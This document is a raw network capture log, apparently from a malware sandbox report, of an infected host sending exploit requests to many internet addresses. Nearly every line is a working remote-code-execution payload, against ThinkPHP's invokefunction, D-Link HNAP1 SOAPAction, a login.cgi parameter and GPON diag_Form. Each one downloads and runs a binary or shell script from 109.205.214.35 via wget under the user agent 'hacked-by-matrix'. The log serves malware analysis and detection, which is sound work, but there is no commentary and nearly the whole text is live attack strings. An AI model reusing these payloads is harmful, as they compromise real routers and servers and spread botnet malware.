Mar 21, 2024 05:18:18.422964096 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:19.446919918 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:21.557857990 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:25.653364897 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:33.844166994 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:51.505726099 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
952	192.168.2.23	44952	94.122.210.219	8081

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:17.903819084 CET	751	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Mar 21, 2024 05:18:22.069825888 CET	751	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Mar 21, 2024 05:18:28.213145018 CET	751	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Mar 21, 2024 05:18:40.243320942 CET	751	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
953	192.168.2.23	34258	95.97.22.10	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:17.903899908 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:18.902256966 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:20.054063082 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:20.250154018 CET	487	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 345 Connection: close Date: Thu, 21 Mar 2024 04:18:17 GMT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 Bad Request</title> </head> <body> <h1>400 Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
954	192.168.2.23	55714	212.164.234.162	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:17.915426016 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:19.254925966 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:20.822922945 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
955	192.168.2.23	60000	95.59.201.222	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.011101961 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:18.293345928 CET	29	IN	HTTP/1.1 200 OK
Mar 21, 2024 05:18:18.293409109 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www
Mar 21, 2024 05:18:19.220174074 CET	532	IN	HTTP/1.1 200 OK Connection: close Pragma: no-cache Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 74 64 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 74 72 2f 78 68 74 6d 6c 31 2f 44 74 64 2f 78 68 74 6d 6c 31 2d 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 75 74 66 2d 38 22 20 6c 61 6e 67 3d 22 75 74 66 2d 38 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 47 50 4f 4e 20 48 6f 6d 65 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 20 75 72 6c 3d 2f 6c 6f 67 69 6e 2e 68 74 6d 6c 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="utf-8" lang="utf-8" dir="ltr"><head><title>GPON Home Gateway</title><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="refresh" content="0; url=/login.html" /></head><body></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
956	192.168.2.23	38814	212.129.178.56	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.029561043 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:18.409143925 CET	293	IN	HTTP/1.1 400 Bad Request Server: stgw Date: Thu, 21 Mar 2024 04:18:18 GMT Content-Type: text/html Content-Length: 149 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 73 74 67 77 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>stgw</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
957	192.168.2.23	33762	178.36.7.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.241013050 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
958	192.168.2.23	51512	178.78.224.195	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.241017103 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
959	192.168.2.23	51022	109.216.33.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:18.241102934 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

